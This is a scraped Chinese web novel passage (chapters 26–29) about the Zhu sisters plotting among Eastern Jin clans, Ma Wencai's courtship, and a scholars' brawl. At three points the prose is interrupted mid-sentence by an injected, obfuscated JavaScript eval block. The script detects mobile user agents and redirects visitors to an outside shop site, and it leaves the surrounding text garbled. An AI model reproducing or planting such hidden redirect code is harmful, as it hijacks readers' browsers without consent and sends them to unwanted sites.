祝英回没有起身,懒懒地调整了一下自己的姿势,斜斜地靠在了椅背上,抬了抬眼皮:“王述,你怎么又来了?” 王述蒙了一下,很是纳闷:“你怎么知道我来了?” 他看了看窗户:“明明我还没靠近啊?” 当然是上次谈事儿的时候被王述冷不丁吓了一跳吸取的教训,就算再怎么得意忘形,她们也会注意着外面的动静。 但这自然不会告诉王述,祝英回睨了他一眼:“什么事儿,说罢。” 王述:“我想问问你们,上巳节要不要出去踏青。” 此话一出,祝英台看着他的眼神立马就锐利起来了,王述一猜就知道她在想什么,翻了个大大的白眼儿:“我没给家里写信,不是想让你们和我家姐姐妹妹见一面。” “只是上巳节本来就有踏青郊游的习俗,在学院里闷了那么久,你们不觉得烦吗?” 祝英台拒绝三连:“不觉得,不想去,不愿意。” 她赶苍蝇一样地挥挥手:“走走走,你自个儿去。” 王述毫不意外,转而又说起了另一件事情:“别急着赶我走,你们听说了吗?据说顾夫子和孟夫子到学院来教书,是因为得罪了桓温。” “桓温?”祝英台眸光一闪“怎么这么说?” 王述做贼似地左右看了看,才道:“桓家与我家、谢家都不对付,这你们知道吧?” 桓温出身不算低微,否则也无法迎娶南康公主,但是桓家与王、谢根本就不是一个路子上的人,尿不到一壶里去。 王、谢均是底蕴深厚,王是秦国王翦之后,谢氏则是把控朝政。唯独桓氏,在渡江之前早已沦为刑家。 更加重要的是,桓温本人就是个混不吝的,大张旗鼓地抑制土地兼并、实行土断政策。 以至于王谢两家虽然也是貌合神离,但是若是面对桓温,就会难得地统一战线。 但是,桓温本人却不负温峤赞誉,勇武之极,不仅在政治上有所建树,更是覆灭成汉政权,一时间炙手可热。 但是,祝英回记得,桓温此人野心被逐渐养大,并在此后将会大败于前秦太子苻苌、眼睁睁看着收复的司隶、豫州、青州、兖州等地再次失陷。 东晋领土不停地缩水,他本人的势力也一并缩水。 到了最后,他强行换了个皇帝,以图增强自己的威望,却进一步消耗了他自己的政治力量。 说不好这里面有没有王谢两家的功劳,但是桓温确实是缺乏政治智慧的,以至于反又不反、顺又不顺。 虽得善终,桓氏却就此消失。 与之一同消失的,还有被发疯的桓温屠杀的庾氏。 或许身为东晋三家之一的庾氏消失,才是桓温得以善终的真正原因吧。 而现在,桓温的傲慢自大,已经毫无保留地显露了出来,他将今文、古文执牛耳者一齐逼到书院中教书。 迫使二人不得不隐藏自己的政治理想,为一夫子。 王述见她们若有所思,神秘兮兮道:“顾夫子和孟夫子两个人,虽然属于当代大儒,但是毕竟有所抱负,关系不能说很融洽,但也并不算差。” 祝英台懂了:“所以,桓温是借此对王谢两家做出挑衅?” 她的表情一言难尽:“这可真是……得不偿失啊。” 顾、孟两人官职也许不比桓温、实权更是不及,但他们俩存在于朝堂的意义就是向天下读书人做出表示。 把他们逼到此地,就相当于在天下儒者脸上扇了一记重重的耳光。 难怪桓温后期跟个没头苍蝇一样四处乱撞,估计是没有人愿意给他出谋划策,他自己也看不起文人、不愿意听。 虽然如此,桓温手里有兵,还有临贺郡公的头衔,哪怕是乱撞,也能把颍川庾氏给撞死。 祝英台沉思了片刻,又问:“那你们家就没什么表示?” 王述耸了耸肩:“能有什么表示,桓温又不是冲到琅琊王氏的那个叔父面前捆了他两个巴掌。” 琅琊王氏的叔父,指的就是琅琊王氏当代家主王羲之,性格耿介傲慢又不失放旷,拜为右军将军。 是响当当的实权 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13446000|140519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人物。 不过王述出身太原王氏,自然对王羲之没什么崇拜之心。 祝英回琢磨了片刻:“谢氏……我明白了。” 陈郡谢氏家主谢安的侄女谢道韫不久后嫁给了王羲之的次子王凝之,是明明白白的政治联姻,而促成这桩政治联姻的,恐怕就是颍川庾氏的虎视眈眈和桓温给他们带来的危机感。 王谢被迫联手,对付执掌长江上游兵权的桓温。 从现在到桓温死去,换了好几个皇帝。祝英回冷不丁地想到了一个笑话:魏晋南北朝的大臣最容易达成的成就就是三朝老臣。 因为有各位大佬带飞。 祝英回努力地控制自己的表情,让自己不要笑出来。 除去刷成就之外,皇帝的频繁更换,也让浑水摸鱼变得容易起来。 祝英台看向姐姐,二人心照不宣地对视了一眼,预备与顾、孟二位夫子稍作接触。 虽然不准备说服此等在官场中摸爬滚打十数年的老油条,却也可以通过此二人的人脉收拢一些尚且年轻冲动的儒家学子。 祝英台于经义上天赋异禀,然而却总有不认同之处。 譬如,她并不认同仲尼有素功,认为孔子是人非神,更不是什么王。 但同时也觉得,时间流转变化,历史总是惊人地相似,文字背后所透露出的消息,也许不只是章句估训那么简单。 所以,直到现在,她还是跟着姐姐两头跑,谁的课都听一耳朵,听完之后就疯狂地写一些离经叛道的文章—— 当然,目前唯一的读者是祝英回。 她还不想被二位学士的拥趸暗杀。 就算日后祝英台独创祝氏儒,那也是她与祝英回手掌大权之后的事情了,现在两个人只是普普通通的学子而已。 顾、孟二人执天下学术之牛耳,养气功夫和耐心都是十分过关的,对于祝英台这个尚且没有确定自己归属、却十分有天分的学生更是爱惜。 听到她似乎有决定归附的意思,欣然将自己的学生弟子介绍给了她。 祝英台:…… 祝英台:心虚.jpg 祝英台:你们俩都是假的,我的才是真的! 祝英台:理直气壮起来.jpg 祝氏姊妹拿着这些人的联系方式,首先排除了孟之义和顾幸的亲传弟子,又通过回忆两位夫子对学生的评价排除了明显非常坚定的。 最终选定了一个,被顾幸评判为离经叛道、但天赋惊人的年轻儒者—— 庾令页。 祝英台思索片刻,提笔挥就一封信,表面上是讨论学术,实际上,却多多使用了“君舟民水”的荀子思想加以试探。 鉴于顾幸对此人的评价有脾气古怪这一条,祝氏姐妹坚信,在上巳节过后几日,大约就能收到回信了。 别问,问就是脾气差到哪怕姓庾也只能孤寡一生。 被王述提醒了王谢与庾氏、桓温的明争暗斗已经拉开帷幕之后,祝英回也预备在此处分一杯羹—— 桓温的性格注定了他的败局不可扭转,但祝英回也不希望王羲之和谢安赢得太过轻易从容。 尤其是不希望司隶、豫州、青州、兖州等地,和将士们的性命成为双方博弈的棋子。 正巧,元宵掀起的思乡之怨还未曾平息。 右军将军、谢安丞相,你们都不缺乏指挥战争的经验和智慧,不知道当你们有机会夺桓温兵权之时,能否还会像现在这样,不动声色地看着桓温带着无数将士自取灭亡呢? 毕竟,那可能会成为你们手中的权力和底气。 魏晋南北朝,什么都缺,尤其最缺人命,但最将人命视为草芥的,恰恰也正是这个朝代。 而且,淝水之战给予了从前查无此人的谢家无上荣光,王谢两家真的能忍得住不去争夺这份兵权吗? 当桓温不足为惧,他们两个氏族也会顷刻间决裂。 也许他们能猜到这后面有推手。 但是那又怎么样呢?顶着族人的怨愤、背着衰落的可能,去成全对方吗? 祝英回慢悠悠地再次翻过一页书,唇瓣扬起一点弧度,国家利害,哪里比得上世家本身的荣辱休戚呢? 谢相、王将军,这一局,你们注定输给我。 并不是你们不够聪明冷静,而是世家逐利的本性,无法改变。 27.三月三 三月三当日,忙碌了好几天的祝氏姐妹骤然闲了下来。 祝英台有气无力地坐在桌子前,手里捏着一根毛笔,看着满桌子满地板的废稿和文章,偏着头压在自己的手臂上:“哥哥……你那边好了吗……” 祝英回揉了揉太阳穴,一时间竟然不知道现在是白天黑夜,嗯了一声:“弄完了,谢氏本身就有淝水之战的底子,现在要宣扬谢安可带领百姓过江,也比较简单。” “王氏祖上是灭五国的王翦将军,宣传起来有些难度,但也还好。” “最重要的,是不能让桓温发现了。” 祝英回向后仰头躺在椅子上,神情空茫:“你呢?” 祝英台回复姐姐:“庾令页的热情和敏锐比我想象的高……虽然经由覃微她们的手,不知道我是谁,但是他的信一封接着一封。” 祝英回哦了一声:“这样啊,那看来庾令页是稳了,他虽然被寻常儒者痛斥为妖儒,但影响力和拥趸也不少。” “对了,脂粉铺子的事情,覃微她们做好了吗?” 祝英台费力地从乱七八糟的书案上翻出了一封信递给祝英回—— “已经弄好了,叫桃脂斋。” 这个名字叫祝英回一愣,随后反应过来是自己那盒桃花香膏的功劳,便跳到了下一件事情:“那商队呢?” 名为商队,实为私兵,若是其它朝代,这么搞能让祝氏一家人头掉光,但是在魏晋南北朝,养那么几十个私兵都只是洒洒水而已。 但是再多就不行了,若没有一个足够说服旁人的姓氏,几百个私兵只会招惹当地太守上门抄家。 祝英台也很为这件事儿犯愁:“若是把咱俩的身份摆出去,几百几千个私兵不在话下……” “但问题在于不行。” 她叹气道:“哥你给的训练方案很有用,男女分训,战友合住,踢腿打拳等等等等,都很有用,奈何人实在太少。” 能没用吗?这可是祝英回照搬某本神奇小册子弄出来的训练方案,经时间考验,保准能训练出一支骁勇善战的军队。 但…… 区区几十个人,就算能以一敌十,也太少了。 祝英回摆了摆手:“不着急,能有私兵的可不止是世家。” 帝女,拥有一支上千人的护卫队很过分吗? 祝英台明白了她的意思,颔首:“倒也没错。” 只不过没有充足的兵力护身,终究让人感到不安。 倏然,坐在桌案前处理事务的青衣公子顿住了,她凤目转向窗外。 祝英台眼神一凝:“王述?” 祝英回摇了摇头:“不是他。” 她起身开门,就看见不远处的树下站着一个人,墨发薄唇,桃花眼中的冷意硬生生压下了天生的多情,却叫人心中更痒。 身量高挑,却低着头看着手中信件,整个人靠在树上,不知道在想什么。 祝英回微微一笑,神情从容:“马兄是来找我的。” 马文才简单地应了一声,从树荫下步出,将手中信件递给她:“喏。” 修长手指翻转信件,却见信封上的名字是空的,祝英回挑了挑眉:“这是什么意思?” 马文才的语气仿佛只是一件小事而已:“名字你自己写,除去建康和会稽郡,都可以。” “有了这个,当地官员不会为难你。” 建康是东晋都城,会稽则是不必如此麻烦。 但是…… 说得容易,当地官员收到信之后说不定会对他家中长辈有所询问,为了这封信,马文才不知道说服了多少人。 祝英回抬头看着他,凤眼中头一次褪去了笑意,她重新问了一遍:“这是什么意思?” 马文才:“你既然想要随风直上青云,身为同窗,自然不能不帮一把。” 祝英回:“只是同窗?” 马文才垂下眼:“只是同窗。” 他又道:“这封信,只是同窗之谊。” “接下来的,却不是对同窗所言。”淡粉色的薄唇似乎勾了起来,但又好像是往下的弧度,却异常坚定“祝英回,王小姐能给你的,我也能。她不能的,我同样能。” “不要说你是见了一面就喜欢她了,也不要说你是为她美貌所惑。” “我们都知道,你祝英回不可能为容貌皮囊所动,更不可能轻易令人动摇心神。”他目不转睛地看着祝英回,一字一字道“既然如此,为何不能是我?” “你如果不喜欢男人,我们可以一辈子就这样。” “只要你不成亲,祝英回,只要你不成亲,我就任你利用。” 祝英回看着他漆黑的眼瞳,竟然还有心思想:他说错了一点,我曾经为他的容貌皮囊所动,而且不止一次。 也许是此人的容貌太过动人,也许是向来高傲的人低头任凭利用过于让人目眩神移,也许是心如擂鼓实在让人恼,祝英回慢了半拍才回答:“不,我不希望……” “不希望有个喜欢你的男人一直在身边?”她的迟疑、动容都被一直关注她的马文才看在眼里,他上前一步,轻声道“撒谎。” 明明是否定别人的话,那双漂亮的桃花眼里却没有丝毫笃定,反而深藏着惶恐和无措,害怕她再次说不,害怕她始终拒绝。 祝英回退了两步,抬手挡住了自己的眼睛,久久沉默。 如果马文才再强势一点,如果他再笃定一点,如果他再多一点逼迫。祝英回都能拒绝得毫不犹豫。 但他没有。 问题就在于他没有! 她回头瞥了一眼在窗内偷听、头都快伸出窗子的祝英台,呵笑一声:“英台。” 祝英台从这两个平淡的字里敏锐地察觉到姐姐的烦躁,还有动摇,立刻把窗户拉上了,连门都关得死死的。 祝英回上下打量着马文才,实在是游移不定…… 说不喜欢是假的,从开学那一天起,这副令人惊艳的皮囊就屡屡吸引着她的注意。 在相处之中,这人一次又一次的服软认输,又叫她一步步地过分起来,也让她一点点地把他记进心里。 都说一见钟情是见色起意,日久生情是权衡利弊。 那她这算什么? 见色起意加权衡利弊? 马文才像是钉在了原地,任由她打量,等待着。 终于,他等到了判决:“成家立业,我倒认为,是业立家成。” 那人笑意盈盈:“待我功成名就之时,若要成亲,应当会问问你。” 一句不算承诺的承诺,却骗得向来傲气的公子如冰川遇春水,神色温柔起来:“那就说定了。” 他又说:“我们彼此相知,你想要执掌天下权力,我想要建立超过桓温的武功。” “这样的要求,很合理。” 祝英回将信封还给了他,幽幽道:“既然这样,这个你拿回去,否则我总有种穷书生对千金小姐骗心骗身的感觉。” 马文才笑了一声,却并不肯,他眨了眨眼,长睫如羽扇:“没关系,与我而言,求之不得。” 却被无语的祝英回推走了。 祝英回回了宿舍,就看到了盯着她的妹妹,她想起了自己刚刚许出去的承诺,难得有些心虚:“英台,我……” 祝英台倒不是很在意祝英回动摇了,若是避男子如洪水猛兽,又要怎样踩着他们上位? 但是她很在意,亲姐连一刻钟都没扛过去,甚至还许下了一个诺言。 马文才不知道,但祝英台就能听出姐姐许下承诺时的真切。 对于她们来说,什么海誓山盟长长久久,那都不现实。 唯有关于成功执行计划之后的承诺,才能说明姐姐是真的在做出一个承诺,并且至少此刻是坚决地想要兑现的。 祝英台叹了一口气:“罢了罢了,我本来也想过,你若要学窦太主贾南风,我是该帮着你,还是该劝劝你,但现在不用纠结了。” 她扯了扯嘴角:“你已经把自己的婚姻许出去了。” 祝英回:…… 英台在仔仔细细读完史书之后越发开放了,这应该算是一件好事儿吧。 豢养男宠总比和一个男人双双化蝶来得好。 想到这里,祝英回骤然止住了思维,她看向祝英台:“英台,你对梁山伯是个什么看法?” 祝英台诡异地明白了她的意思,却沉默着一言不发,就当祝英回眉头越皱越紧的时候,她才道:“我有些喜欢他,但他在那次家宴上的反应叫我有些犯难。” 摆明了梁山伯喜欢祝家小十,但祝英台永远不可能只做祝家小十。 她是祝英台,在经义解读上让当代大儒都为之惊艳赞叹,心思缜密又聪明绝顶,她要夺权,要实现自己的政治理想,而从来不是要做谁的妻子。 祝英回同样如此,当功成名就之后她会想一想情爱,但是在那之前,无论是谁挡在她面前都会被一脚踹开。 包括今天才许下承诺的恋人。 两姊妹对视一眼,齐齐叹了口气,祝英台疲惫地摆了摆手:“罢了,山伯没有马文才那么犟,就算真的喜欢祝小妹,等到了时间,他还是会娶妻的。” “我可没有那个时间分配给他。” 祝英回心有戚戚:“那人虽然犟,但是性格中的执拗偏激,还有……” 她没说完,祝英台却懂了她的意思,马文才是典型的世家公子,文武双全,相貌俊美,性子也傲。 但是同时,也不可避免的有一些世家公子的想法。 能扳过来最好,扳不过来就只能一拍两散。 以马文才从前的表现来看,有机会扳还好,更叫人担心的,就是他彻底触怒姐姐,叫她扳都不想扳直接单方面绝义。 上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13451240|140519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巳节就这么过去了,出去玩儿了一天的王述一回来就惊恐地发现那两人和好了! 他牙疼地看着虽然仍旧不苟言笑,眉目冷峻,整个人却散发着一股愉悦的马文才,没忍住道:“怎么回事儿?!我记得我只出去了一天啊!” “而且……马文才是怎么回事儿?他是不是中邪了!” 他越说越觉得有可能,忧心忡忡地问祝英台:“我要不要寻个人给他看看?” 祝英台也很无语,但还是说:“子不语怪力乱神。” 祝英回不信这个,祝英台更不信。 祝英回的不信还带了点宁可信其有,不可信其无的意思在,祝英台那就是忠诚地、坚决地不信这些违背‘子曰’的东西。 她用胳膊肘捣了捣王述:“你叫他一声看看。” 王述试探性地叫了一声:“马兄?” 马文才侧头看了过来,那股子叫王述浑身发毛的气息荡然无存,桃花眼中冷冷地透露出来一个意思:叫我做什么。 王述讪笑一声:“没什么……只是从山下带回来了些糕点,问你要不要。” 马文才蹙了蹙眉:“你不是才问过?” 然后道:“不必。” 是个人,都看得出来他心情很不错。 不错到即使梁山伯和荀巨伯再次当着他们的面儿吵起来,也没有被影响。 马文才慢条斯理道:“在这里吵有什么意思?” 他露出一个笑:“去免冰堂吧。” 越学到后面,越来越多不擅长武术的学生选择了下午请假,去向顾、孟二人请教经义。 而请教的地点,就在免冰堂的左右两间里。 祝英回收剑回鞘,笑道:“这个主意不错。” 他们二人一同上前,一个扣住了梁山伯的肩膀,一个绊住了荀巨伯的腿,连拖带拉地把两人扯着往免冰堂走。 祝英台愣了一瞬,立马精神了,拍了拍手笑嘻嘻地宣布:“梁公子和荀公子要在免冰堂辩论经义,愿意去瞧瞧的人快跟着走啊!” 王述三番几次看着他们吵,也有些生气了,不仅不制止,反而帮着祝英台宣传,势要让他们两人丢人丢到底。 梁、荀二人连连讨饶,却又不知道哪一句话没对,再次和彼此争吵了起来。 被无视的马文才冷笑连连,压根插不进话的祝英回微笑着加大了手上的力度。 王述深吸了一口气,咬牙切齿地预备把事情做绝了,扭头就往免冰堂跑,要将两位夫子请来,听一听这二人的辩经。 不过片刻,书桌垫子备齐,同窗夫子全部到场,顾、孟两位坐在首位,对视一眼,火花四溅,同时冷哼一声。 梁山伯和荀巨伯的理智回笼一瞬,却又立刻被对方打散。 经义的辩论从最开始的两人,到后面的学生忍不住插嘴,再然后是二位执牛耳的大儒激烈争吵。 最后,则是被不小心波及的其他人加入战场。 话语之难听都不说什么了。 到了后面,直接演变成了一场群殴。 双方谁都不服谁,干脆拳脚相向,要用拳头分出胜负来。 原本还带着看好戏心理的祝英台不自觉看向了祝英回:“哥……” 祝英回面色冷淡:“让他们打。” “打完了,那两个傻子就该知道,学术并不是他们想得那般单纯。” 她在祝英台耳畔低语:“学术掺杂着派系之争,也有着权力的斗争,桓温的做法虽然粗野,但也不无道理。” 祝英回看向战场:“若是此等大儒被拉拢,那么,日后的朝堂,就全是王与谢的天下了。” “桓温可不希望,学成的学子,都将本事与了他们二人。” 祝英台倏然想起了那些死得不明不白的儒者,心头一颤:“那些人……” “是他们杀的。”祝英回平静地肯定了他们的猜测“我从前就说过,学术之争,容不下异端。” “执牛耳者不好下手,就挑有些影响却有不大的人作为威慑。” 也就是科举没出来,若是科举问世,世家衰弱,这一场血色的争端,还会更加激烈、更加疯狂。 不过,世家已经足够视人命为草芥,这些儒者好歹还有孔夫子的经义约束,不至于随意滥杀。 现在各家中学习经义的人首先是世家公子,然后才是各个学派的儒者。 他们从出生开始就被灌输要为家族奉献一切的思想,还没那么容易被再次洗脑。 祝英回看着已经停止争吵,愣愣地注视着周围人、甚至在试图拉架的两个人。 和马文才交换了一个眼神,轻易地滑入战场,名为搀扶实为挟持地扯住了孟之义和顾幸:“别打了别打了,都是同窗!” 一边把人强行往外扯,一边嘴上假模假样地劝架:“夫子!别打了!为人师表,为人师表啊!” 28.学术之争 主人公被拖走了,自然也就吵不起来了。 一场纷争被轻易挑起,又被悄无声息地平息。 一堂免费又残酷的课程在免冰堂中上演,祝英回看着二人,笑意不在,淡淡道:“还吵吗?” 梁山伯痛苦又迷茫:“所以,所谓的古文今文之分,到底是为了什么?” “总之不是为了单纯给尚书划分解读方式。” 为了学术吵架打架,倒还在他们接受范围内,但,为了学术要将他人置于死地,就叫梁山伯接受不能了。 至少当时在免冰堂里,所有人都是真切地希望对方去死的。 他看向荀巨伯,无法想象自己对好友痛下杀手的样子。 祝英回把两人价值观砸成一片片的之后,也不管他们二人如何颓废,拍了拍身上的灰尘就离开了。 祝英台嗤了他们一声,但也懒得多说,扭头就跟上了姐姐—— 与她和祝英回的关系不一样,这两个人再怎样也不会被轻易说服全盘接受自己的观念。 哪怕内心知道是正确的,也不认同。 她们还有其他事情要做,距离下种的惊蛰已经过去了差不多一个月,谷雨马上就要到来。 天却吝啬那么点雨,让气候潮湿得毒虫多生,又旱得作物欠收。 久旱必有蝗。 蝗灾一旦发生,就是毁灭性的打击。 祝英回绞尽了脑汁,终于想起来了零星线索,令农民翻出土地中的蝗虫,以白垩覆盖,日夜在田边堆放篝火,只待蝗虫到来,便点燃篝火,使其自取灭亡。 崔婉的回信中,话里话外都是翻出地中若虫之后的庆幸和安心。 每年的蝗灾仿佛是突然出现,大家都以为蝗虫是上天降罪,有些地方甚至不敢阻止蝗老爷吃作物,生怕上天降下更严重的惩罚。 如今把若虫翻出来了,知道这也不过是普通的虫子而已,只是藏在地下看不见罢了,便极大程度地安了农户的心。 苏湖熟,天下足。 希望这几年庄子中水稻的产量,能给她一个满意的答复。 更重要的是,能给她渡江的底气。 北方此时正处于五胡十六国的关键时候,再过几十年,便是北魏太武帝一统北方,到那时要统一南北,便是难上加难。 这场胡人与汉人之间的博弈,是汉人赢了,因为汉人的文化将胡人同化。 又或者说,在这片大地上,汉人的文化具有不可替代的必要性,想要统治这片地区,就必然要被同化,乃至于主动同化。 譬如魏孝文帝改拓拔为元姓。 但南北朝之争,是北朝赢了。 魏晋南北朝结束于普六茹坚手中,杨坚派兵灭掉了南朝最后一个政权——陈。 南朝的百姓自始至终都没能回到长江的那边,去见一见自己阔别已久的朋友家人。 明明占据了更富饶的江南,却任由自己以礼崩乐坏为借口,沉浸在享乐之中,鄙夷文化荒漠的胡人,却不得不在胡人的铁骑下求饶。 祝英回揉了揉额头,祝英台恰好掀开帘子进来了,问:“怎么了,还在头疼梁山伯他们的事情吗?” 祝英回摇了摇头:“并非如此,这两人还没有在官场滚过一圈,怎么也不可能如顾夫子他们那般。” “我所头疼的,是北方胡人。” “胡人?”祝英台神色一凝“哥哥,你是什么意思?” “怎么又想到胡人去了?” “胡人骁勇善战,并且,他们对中原文化一无所知,并不受礼崩乐坏的影响。而南边的人……” 长江天险,拦住了胡人的铁骑,让汉人有喘息的余地,然而同样也让汉人难以反攻、在宴会游乐中纵情享乐。 更重要的是,中原不能只有汉族。 祝英台的神色莫辨:“姐姐……我觉得,你好像并没有那么讨厌胡人。” 沉思的祝英回一愣,看着妹妹眼底深沉的仇恨和厌恶,终于后知后觉地发现了一件事情—— 胡人,对于真正生长在魏晋、又得以窥视百姓苦楚的祝英台来说,算什么呢? 吃人肉、喝人血的怪物,逼迫汉人不得不南逃的世敌,将幻想中的荣光顷刻打碎的仇人。 祝英回向后靠在椅子上,收敛了所有表情:“因为汉人的苦楚,不仅仅是因为胡人,更多的是这个坚持着可笑尊卑的汉人王朝,早就烂掉了。” “汉人,其实更多是死在汉人手中的。” 世家门阀的崛起,也就说明了变相的奴隶制度再次登台表演,华丽的外衣下、三句不离子曰的堂皇外表下,是腐臭生蛆的内里。 他们盘踞在百姓的骨血尸身之上,不断啃啮。 祝英台怔怔地看着她:“姐姐……你怎么能这么想?” 害了汉人的,是汉人,而胡人,只不过是推手和帮凶。 她后退两步,整个人都摇摇欲坠:“如果是这样,那我们为什么要过江?为什么要维持着这个汉人的王朝?!” 她声音很低,却更像嘶哑的怒吼:“既然错误更多的是汉人!那我们凭什么要借此去煽动仇恨,将胡人赶出去?” “胡人难道就不是人了吗?他们没有资格逐鹿中原吗?” 祝英回并没有被妹妹悲怆绝望的话语带走情绪,而是静静看着她,待祝英台的情绪冷静下来,她才道:“谁说我要将胡人的百姓驱逐出中原?” “应该被埋葬的,从来都是两朝的上层,而非是可怜的百姓。” 她站起身来,户外的阳光照在她身上,在墙壁上勾勒出一个高挑清瘦如竹的影子:“英台,胡人蛮荒,相较于南朝,对待他们的百姓只会更加过分。他们吃汉人,难道就会放过战败的胡人吗?” “汉人也好,胡人也好,穷苦的百姓都是一样的。” “穷苦的百姓……都是一样的……”祝英台迟缓地念着这句话。 祝英回慢慢走近,唇瓣微微扬了起来:“英台,还记得我说过什么吗?” 祝英台梦呓般重复自己奉为圣箴的话:“君者,舟也。民者,水也。水能载舟,亦能,覆舟。” 从没有汉人胡人之分,只有君民之分,统治者与被统治者之分。 祝英台的神色从迟疑,逐渐变为了若有所思。 祝英回也并不急在这一时,见妹妹已经开始逐渐接受 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13503342|140519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,便岔开了话题,预备让妹妹自己去想明白。 “北朝有一贤士,名曰王猛。” “我欲用之,还请英台为我起草信件。” “王猛?”祝英台费劲儿地从记忆中扒拉出了这么一个人名“就是那个被桓温赞为不世之才、却不回南朝的汉人?” 王猛此时,还只是一个咸阳内史,并不算出名。 然而此人刚正不阿可比后世包拯,却又比包拯多了两份圆滑和通透。 他看穿自己无法在王谢把控的朝政中立足的事实,经过多方衡量之下留在了北朝。 毕竟北朝民风粗野,就连政斗都不会往对方府邸里塞龙袍,最多就是当面的侮辱谩骂。 他留在北朝,将那些野蛮不服管教的胡人贵族驱逐出权利中心,身体力行与苻坚合力废除了胡汉分治。道是“黎元应抚,夷狄应和”。又重新兴建太学,养廉耻之思想。 王猛取士的方案更有意思,改良了九品中正制,给了垄断官场的氏族以沉重的打击—— 苻坚的前秦,逐渐变成了王猛午夜梦回中汉朝的样子。 或许他不知道这是为什么,但王猛的确在这么做: 用礼,来将胡人变成汉人。 若是他再活得久一点,也许,前秦就会成为下一个汉人王朝。 此等才惊绝艳之辈,就算不能拉拢,但若是试也不试,才叫祝英回觉得遗憾。 而祝英台在听姐姐介绍完这个人之后,略一思索,提笔写下的第一句话便是:“世间大功绩,莫如从龙与兴礼教……” 接着,她又问,在前秦,王猛固然能手握大权,这两样难道是可以染指的么? 从龙就不说了,兴礼教这种事情,除非前秦的贵族全部死光,否则王猛一死,不过是人死政消罢了。 真当胡人的凶蛮是他一个人一张嘴能改变的吗? 就算是赏识他的苻坚,心里想的是啥,看不看得起中原学术,那还是两说呢。 最后,祝英台说,如果要坚持在不懂政治的前秦炸鱼,那王猛就权当她没写过这封信。 毕竟如果回到南朝,再想手握大权,那必定会付出百倍艰辛。 寥寥百余字,嘲讽之意溢于言表,祝英回看得眼皮子狂跳,她思索片刻,又加了两句话,隐晦地透露出了祝英台本人的学术和政治立场。 除去嘲讽之外,祝英台在思想上超出了这些人几个世纪,不怕不能吸引狂放迷乱的魏晋朝文人—— 别看王猛做事很有章法的样子,这也是个道心破碎以至于脾气暴躁之极的大哥。 祝英台眼神微亮,将信件润了润色,又誊抄了一遍,才交给婢女寄出去。 王猛作为北朝的官员,去信和回信都不是一件特别容易的事情,估摸着还需要两三年的功夫,才能说服王猛归南朝。 渡江回归南朝更是需要不短的时间筹谋。 到了那个时候,她们也该初步建立起自己的势力了。 至于王猛坚定地要留在北朝怎么办…… 留就留呗,天下从来不缺人才,他王猛顶了天就是改良九品中正制,而祝英回这里,有更好的筛选人才的方案。 29.良玉劫 春风渐起,忙放纸鸢。 祝英回对放风筝这种事情倒没有什么兴趣,但是她身边的每一个人,都很有兴趣。 祝英台难得把她的典籍往旁边放了放,腾出了空隙放各式各样的风筝,见祝英回没什么兴趣的样子,便道:“哥哥,事情是做不完的,倒不如去放一放纸鸢。” 祝英回单手支颐,另一只修长的手翻着信件,春日阳光正好,落在她身上,便如一株参天的巨树静静矗立天地之间,幽静又挺拔。 听见了妹妹的话,她漫不经心道:“你自己去便是了。” 作为现代人,各色新奇风筝她早就看遍了,哪里还有什么新鲜感。 祝英台装模作样地叹了口气:“你不去,那真是可怜了马兄精心寻来的风筝……” 祝英回一愣,转头看向祝英台:“今日又不是什么年节,怎么都想起来放风筝?” “若是要说放风筝,寻常确是在上巳节。”祝英台耸了耸肩“可是,咱们俩上巳节忙得很,马兄又跟你闹着别扭。” “那俩又吵着呢,王述说他一个人去没意思,便都没放。” “只是这一年到头的晦气总得放一放才是,不然堆积在这里,人也要被它弄得晦气了。” 祝英台笑道:“走吧哥,把晦气都放出去,也为咱们的计划添一份保佑。” 祝英回最终还是被说动了,随着妹妹一起前往后山,去补上这一份放晦气的祝愿。 待她们靠近后山,便看见了天空中飞得很高的几只风筝。 雄鹰、飞虎、狡狐、灵鹿。 个个精致,祝英台笑着推了推姐姐:“快去快去,他们都将风筝放起来了!” 祝英回挽起袖子,扯了扯线,面对着风筝脚步轻快地退了两步,风筝便乘风而起,飘向了空中。 而那一头,慢慢升高的两只风筝吸引了其余人的注意。 梁山伯笑道:“想必是祝氏兄弟二人的风筝,想不到祝英台当真将他兄长缠来了。” “他们一天到晚也不知道在忙什么。”王述啧了一声“天天神龙见首不见尾的。” 荀巨伯倒是很理解:“祝英台和他哥哥都志在朝堂,想来也是为日后出仕做准备吧。” 蓝田侯世子拖长了尾音:“要联系的无非是门生故旧,同窗好友——他们又没有门生,咱们不就在这里吗?还要去找谁啊。” 他愤愤不平:“有我王述还不够吗?还要去找其他人。” 马文才斜了他一眼:“闭嘴放你的风筝。” 